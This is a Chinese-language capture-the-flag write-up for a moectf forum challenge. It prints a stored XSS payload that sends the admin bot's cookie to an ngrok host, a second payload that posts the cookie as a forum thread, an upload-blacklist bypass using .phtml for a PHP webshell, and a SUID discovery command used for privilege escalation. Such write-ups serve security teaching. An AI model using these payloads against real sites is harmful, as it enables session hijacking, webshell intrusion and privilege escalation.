Moe论坛

RCE 木马上传 SUID XSS bot
这周就做了这题,这题的知识点比较综合,也感谢管理员给出了一些引导。
首先打开是一个登录注册的界面,先注册登录一个账号看看是个什么情况。注册的时候发现是有管理员账号的,估计也是要进行提权操作或者登录管理员账号。 alt text 发现有个 admin 的 bot 会每隔一分钟来自动访问这个首页,并且在发布帖子的地方可以用 html 那么猜测是利用 XSS 来让这个 bot 执行某些操作。
使用 <script>alert(1)</script> 进行试探。
alt text
发现是没有过滤 <script> 字段的。 那么接下来就得思考我需要获取什么信息。
使用 burpsuite 抓包时发现我们是带有特殊的 cookie 去访问页面的 alt text 这里的 role 就很明显让我们切换成 admin 来访问页面。
我的第一反应是让这个 bot 访问页面的时候我进行 XSS 页面劫持,让它携带 cookie 等的信息发送到我暴露在公网的 IP 下。
混合型 XSS

1
2
3
4
<script>
var c = encodeURIComponent(document.cookie);
new Image().src = 'https://duty-choice-obedience.ngrok-free.dev/?cookie=' + c;
</script>

encodeURIComponet()使用 URL 编码是为了防止 cookie 中含有 ; 等的字符导致报错。 alt text 但貌似这个 bot 不可以访问外网还是啥的,这么做只能获取到我自己的 cookie,看来这个办法行不通。
那么这里的难点就是要找个地方来显示出这个 bot 的 cookie,既然题目可以进行发帖的操作那么我想着要不让 bot 也把它的信息以发帖的方式发出。 alt text
抓包来查看如何进行发帖。

1
2
3
4
5
6
7
8
9
10
<script>
fetch("/new_post.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "title=COOKIE&content=" + encodeURIComponent(document.cookie),
credentials: "include"
});
</script>

alt text
获取到 admin 的 cookie 信息,使用浏览器的控制台进行 cookie 修改。

1
2
document.cookie="PHPSESSID=96df6978bcb753da5b5a12cfeeeb8d9c; path=/"
document.cookie="role=Li6wzWMXqxKGvTBPs2pZWw%3D%3D; path=/"

path=/ 是对该网页的所有路径生效。
登录管理员页面后发现了一个上传 md 文件的页面。 alt text
注意到它这个上传其实不限制后缀,那么就可以尝试 php 的木马上传来看看能不能 webshell 获取信息。
alt text
这里后缀有些过滤,查看源代码发现了被过滤的后缀。

1
var blacklist = ['php', 'php3', 'php4', 'php5', 'php7', 'phps','.htaccess'];

其实还有 phtml 是没被过滤的,这个是可以上传的。
alt text
上传一句话木马后里面的文本被转化进行了输出。 alt text 发现是可以将文件上传到网站上,并且也已知名称。那么接下来就得找找这个文件去哪了。
这里其实我找了挺久的,最后问了一下管理员说是找不到得爆破了,于是我尝试了 dirsearch 来进行爆破。 alt text
扫出这么多路径锁定 fileadmin,打开后发现权限不足,我们再对这个路径进行爆破。
alt text
最后扫出来是 fileadmin/user_upload 访问上传的 hptml 发现是可以找到的,再利用蚁剑进行连接。
alt text
再根目录下发现了 f139 文件,看大小和名称已经知道肯定是放 flag 的地方了,但也是权限不够无法访问,他这个属性是 0700 只有这个文件的所有者才能访问。 Web反弹shell+SUID命令提权 一开始我想尝试利用蚁剑的终端来直接提权,但是这题禁止了 sudo 。
alt text 本来我还是想再利用一下那个 bot 来读取这个文件,最后失败了主要是这个 bot 没办法去读那个 File://。
这里还是需要读一下这个网页有什么内容的,在 /data/forum.db 路径下找到了管理员的密码。
alt text 不过尝试登录网页后发现和用 cookie 登录的效果是一样的。
最后我采用的是 SUID 提权。
浅谈 linux SUID 提权 管理员提示说这题的 SUID 有点“魔改”。
先 find / -user root -perm -4000 -print 2>/dev/null 查找一下 SUID 文件
alt text 最后我锁定到了这个 hostname 文件(这个应该就是魔改的点,正常人谁看这个文件啊),它旁边还把源码给放出来了,不用去读那个二进制的文件。
alt text alt text 能否使用主要还是看这个文件能否进行文件读取,能否将文件内的数据进行输出。这个文件刚好具备这些条件,只不过进行了一下反转。
最后利用这个 hostname 进行读取,成功拿到了 flag。 alt text 再反转一下 alt text moectf{d3d94073-bee8-c65c-cb87-672adc5253a7} 这题还是花了不少时间的,主要是有些小点被卡了,感觉有些问题其实我再试一下也可以做出来的。
管理员聊天记录 alt text